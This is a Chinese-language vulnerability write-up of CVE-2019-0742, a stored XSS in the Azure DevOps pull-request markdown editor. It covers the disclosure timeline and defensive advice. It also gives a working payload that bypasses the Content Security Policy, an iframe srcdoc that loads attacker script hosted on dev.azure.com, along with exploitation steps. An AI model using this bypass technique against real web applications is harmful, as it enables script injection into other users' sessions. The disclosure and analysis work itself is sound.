Azure DevOps中的XSS
字数 971 2025-08-27 12:33:49
Azure DevOps中的XSS漏洞分析与利用
漏洞概述
在Azure DevOps的markdown编辑器中发现了一个跨站脚本(XSS)漏洞,该漏洞允许攻击者在pull request注释中注入恶意代码。漏洞被微软分配为CVE-2019-0742。
漏洞发现环境
- 目标系统: https://dev.azure.com (Microsoft开发的git web服务器)
- 受影响功能: pull request中的markdown编辑器
漏洞细节
初始发现
- 在创建pull request时,可以使用markdown添加注释
- markdown渲染未能正确转义某些特殊字符
- 特定格式下HTML代码会被执行:当HTML代码放在两个
$和一个%中间时,标记会被渲染
基本payload格式:
$%$
CSP限制分析
尝试使用onerror事件触发XSS时被Content Security Policy(CSP)拦截,错误信息显示:
Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.
完整CSP策略:
content-security-policy:
default-src 'none';
font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com;
style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn;
connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net;
img-src http: https: blob: data:;
script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw==';
child-src * blob: tfs:;
frame-src * blob: tfs:;
media-src http: https:;
关键点:
frame-src * blob: tfs:允许加载任意iframescript-src允许从dev.azure.com加载脚本
绕过CSP的最终方案
利用iframe的srcdoc属性加载恶意脚本,从dev.azure.com自身托管JavaScript文件:
$
<iframe srcdoc="<script src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></script>"></iframe>
$
漏洞利用步骤
- 准备一个包含恶意JavaScript的仓库文件(1.js)
- 在pull request的markdown注释中使用上述iframe payload
- 当其他用户查看该pull request时,恶意代码会被执行
时间线
- 2019年1月19日: 向Microsoft报告此XSS
- 2019年1月25日: Microsoft确认漏洞
- 2019年2月6日: 分配CVE-2019-0742
- 2019年2月7日: Microsoft同意修复后公开细节
- 2019年2月26日: 公开披露
防御建议
- 对所有用户输入进行适当的转义和过滤
- 加强CSP策略,限制iframe的使用
- 对markdown渲染进行更严格的安全检查
- 定期进行安全审计和渗透测试
总结
该漏洞展示了即使存在CSP保护,通过仔细分析策略中的例外情况,攻击者仍可能找到绕过方法。开发人员需要全面考虑各种攻击向量,而不仅仅是依赖单一的安全机制。